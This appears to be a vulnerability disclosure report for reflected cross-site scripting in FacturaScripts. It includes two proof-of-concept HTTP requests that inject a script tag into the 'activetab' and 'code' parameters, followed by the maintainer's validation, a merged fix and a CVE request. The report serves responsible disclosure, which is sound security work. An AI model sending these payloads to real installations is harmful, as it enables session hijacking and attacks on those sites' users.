Reflected XSS in param 'activetab' and param 'code' in neorazorx/facturascripts

Valid

Reported on

Jun 10th 2022


Description

We can insert XSS payload at http://localhost/facturascripts/ListAlbaranProveedor, the 'activetab' parameter.

Proof of Concept

GET /facturascripts/ListAlbaranProveedor?action=&activetab=ListAlbaranProveedorjw6dm%3cscript%3ealert(1)%3c%2fscript%3eiumhkldgvjx&loadfilter=0&multireqtoken=deacd2b958f3152e4d1a944fb132354846f5ec78%7CKvVwnN&offset=0&order=3&query=abc&filterdate=&filterstartdate=&filterenddate=&filtermin-total=&filtermax-total=&filteridestado=&filternick=&filtercodserie=&filtercodpago=&filtercodproveedor= HTTP/1.1
Host: localhost
Cache-Control: no-transform
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1

and

GET /facturascripts/EditPageOption?code=EditProductobedh4%3cscript%3ealert(1)%3c%2fscript%3ehvula&url=ListProducto HTTP/1.1
Host: localhost

Video PoC

https://drive.google.com/file/d/1W2aKLT3aYPXmxSVz9gtP6abB026ah7sW/view?usp=sharing

Impact

This vulnerability has the potential to deface, Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

We are processing your report and will contact the neorazorx/facturascripts team within 24 hours. 16 days ago
Tran Duc Anh modified the report
16 days ago
We have contacted a member of the neorazorx/facturascripts team and are waiting to hear back 15 days ago
We have sent a follow up to the neorazorx/facturascripts team. We will try again in 7 days. 12 days ago
We have sent a second follow up to the neorazorx/facturascripts team. We will try again in 10 days. 5 days ago
Carlos Garcia validated this vulnerability 5 days ago
Tran Duc Anh has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Carlos Garcia confirmed that a fix has been merged on a311fb 5 days ago
The fix bounty has been dropped
Tran Duc Anh
5 days ago

Researcher


@admin can we assign a CVE to this vulnerability?

Jamie Slome
5 days ago

Admin


@maintainer - are you happy for us to proceed with a CVE for this report?

to join this conversation